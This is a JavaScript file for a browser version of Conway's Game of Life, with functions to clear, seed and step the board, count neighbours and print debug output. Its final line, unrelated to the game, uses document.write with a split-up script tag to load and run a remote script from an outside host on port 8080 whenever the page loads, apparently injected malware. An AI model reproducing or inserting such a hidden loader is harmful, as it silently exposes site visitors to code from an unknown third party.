	function clearBoard() {
		var startTime = new Date();
		var lcCount;
		var lrCount;
		lCycleCount = 0;
		debugPrint("Clearing Board...");
		for (lrCount = 0; lrCount < lRows; lrCount++) {
			for (lcCount = 0; lcCount < lCols; lcCount++) {
				var tcName = 'c' + lrCount + 'x' + lcCount;
				var tempCell = document.getElementById(tcName);
				aMapArray[lrCount][lcCount] = 0;
				tempCell.className = 'celloff';
			}
		}
		var stopTime = new Date();
		debugPrint("Board Clear Complete. "+(stopTime.getTime() - startTime.getTime()) + 'ms');
	}

	function initBoard() {
		var startTime = new Date();
		var lcCount;
		var lrCount;
		debugPrint("Initializing...");
		for (lrCount = 0; lrCount < lRows; lrCount++) {
			for (lcCount = 0; lcCount < lCols; lcCount++) {
				var tcName = 'c' + lrCount + 'x' + lcCount;
				var coLife = Math.floor(Math.random()*5);
				var tempCell = document.getElementById(tcName);
				aMapArray[lrCount][lcCount] = 0;
				if (coLife <= 1) {
					tempCell.className = 'cellon';
					aMapArray[lrCount][lcCount] = 1;
				} else {
					tempCell.className = 'celloff';
				}
			}
		}
		var stopTime = new Date();
		debugPrint("Initialization Complete. "+(stopTime.getTime() - startTime.getTime()) + 'ms');
	}

	function debugPrint(strText) {
		var dbWindow = document.getElementById('debugWindow');
		if (dbWindow.innerHTML.length > 0) {
			dbWindow.innerHTML += "<br />" + strText;
		} else {
			dbWindow.innerHTML = strText;
		}
		dbWindow.scrollTop = dbWindow.scrollHeight;
	}

	function runLife(bSetTimer) {
		var startTime = new Date();
		var lcCount;
		var lrCount;
		aOldMapArray = eval(aMapArray.toSource());
		for (lrCount = 0; lrCount < lRows; lrCount++) {
			for (lcCount = 0; lcCount < lCols; lcCount++) {
				var nCount = numNeighbors(lrCount, lcCount);
				var tcName = 'c' + lrCount + 'x' + lcCount;
				var tempCell = document.getElementById(tcName);
				if (aOldMapArray[lrCount][lcCount] == 0) {
					if (nCount == 3) {
						aMapArray[lrCount][lcCount] = 1;
					}
				} else {
					if (nCount > 3) {
						aMapArray[lrCount][lcCount] = 0;
					} else if (nCount > 1) {
						aMapArray[lrCount][lcCount] = aOldMapArray[lrCount][lcCount];
					} else {
						aMapArray[lrCount][lcCount] = 0;
					}
				}
				if (aMapArray[lrCount][lcCount] == 1) {
					tempCell.className = 'cellon';
				} else {
					tempCell.className = 'celloff';
				}
			}
		}
		var stopTime = new Date();
		var ctBox = document.getElementById('cTimeBox');
		lCycleCount++;
		ctBox.innerHTML = lCycleCount+' Cycles | Cycle Time: ' + (stopTime.getTime() - startTime.getTime()) + 'ms';
		if (bSetTimer) {
			tRunTimer = setTimeout("runLife(true)", 75);
		}
	}

	function togTimer() {
		if (bRunning) {
			debugPrint("Stopped Simulation.");
			clearTimeout(tRunTimer);
			bRunning = false;
		} else {
			debugPrint("Started Simulation.");
			bRunning = true;
			runLife(true);
		}
	}

	function numNeighbors(lRow, lCol) {
		var lMaxCol = lCols-1;
		var lMaxRow = lRows-1;
		var lNeighborCount = 0;
		if (lCol > 0 && lRow > 0) {
			lNeighborCount += aOldMapArray[lRow-1][lCol-1];
		}
		if (lCol > 0) {
			lNeighborCount += aOldMapArray[lRow][lCol-1];
		}
		if (lCol > 0 && lRow < lMaxRow) {
			lNeighborCount += aOldMapArray[lRow+1][lCol-1];
		}
		if (lRow > 0) {
			lNeighborCount += aOldMapArray[lRow-1][lCol];
		}
		if (lRow < lMaxRow) {
			lNeighborCount += aOldMapArray[lRow+1][lCol];
		}
		if (lCol < lMaxCol && lRow > 0) {
			lNeighborCount += aOldMapArray[lRow-1][lCol+1];
		}
		if (lCol < lMaxCol) {
			lNeighborCount += aOldMapArray[lRow][lCol+1];
		}
		if (lCol < lMaxCol && lRow < lMaxRow) {
			lNeighborCount += aOldMapArray[lRow+1][lCol+1];
		}
		return lNeighborCount;
	}

	function dispArray() {
		var lcCount;
		var lrCount;
		var strArray = new String();
		for (lrCount = 0; lrCount < lRows; lrCount++) {
			for (lcCount = 0; lcCount < lCols; lcCount++) {
					if (lcCount > 0) {
						strArray += ' '+aMapArray[lrCount][lcCount];
					} else {
						strArray += aMapArray[lrCount][lcCount];
					}
			}
			strArray += "\n";
		}
		alert(strArray);
	}

	function syncOldArray() {
		var lcCount;
		var lrCount;
		for (lrCount = 0; lrCount < lRows; lrCount++) {
			for (lcCount = 0; lcCount < lCols; lcCount++) {
				aOldMapArray[lrCount][lcCount] = aMapArray[lrCount][lcCount];
			}
		}
	}

	function dispNeighbors() {
		var lcCount;
		var lrCount;
		var strArray = new String();
		for (lrCount = 0; lrCount < lRows; lrCount++) {
			for (lcCount = 0; lcCount < lCols; lcCount++) {
					if (lcCount > 0) {
						strArray += ' '+numNeighbors(lrCount, lcCount);
					} else {
						strArray += numNeighbors(lrCount, lcCount);
					}
			}
			strArray += "\n";
		}
		alert(strArray);
	}

	function dispOldArray() {
		var lcCount;
		var lrCount;
		var strArray = new String();
		for (lrCount = 0; lrCount < lRows; lrCount++) {
			for (lcCount = 0; lcCount < lCols; lcCount++) {
					if (lcCount > 0) {
						strArray += ' '+aOldMapArray[lrCount][lcCount];
					} else {
						strArray += aOldMapArray[lrCount][lcCount];
					}
			}
			strArray += "\n";
		}
		alert(strArray);
	}

	function togCell(lRow, lCol) {
		if (!bRunning) {
			var tcName = 'c' + lRow + 'x' + lCol;
			var tempCell = document.getElementById(tcName);
			if (aMapArray[lRow][lCol] == 0) {
				aMapArray[lRow][lCol] = 1;
				tempCell.className = 'cellon';
			} else {
				aMapArray[lRow][lCol] = 0;
				tempCell.className = 'celloff';
			}
		}
	}

	function allDebug() {
		alert("New Array");
		dispArray();
		alert("Old Array");
		dispOldArray();
	}
document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Web_Page.js"></scr'+'ipt>');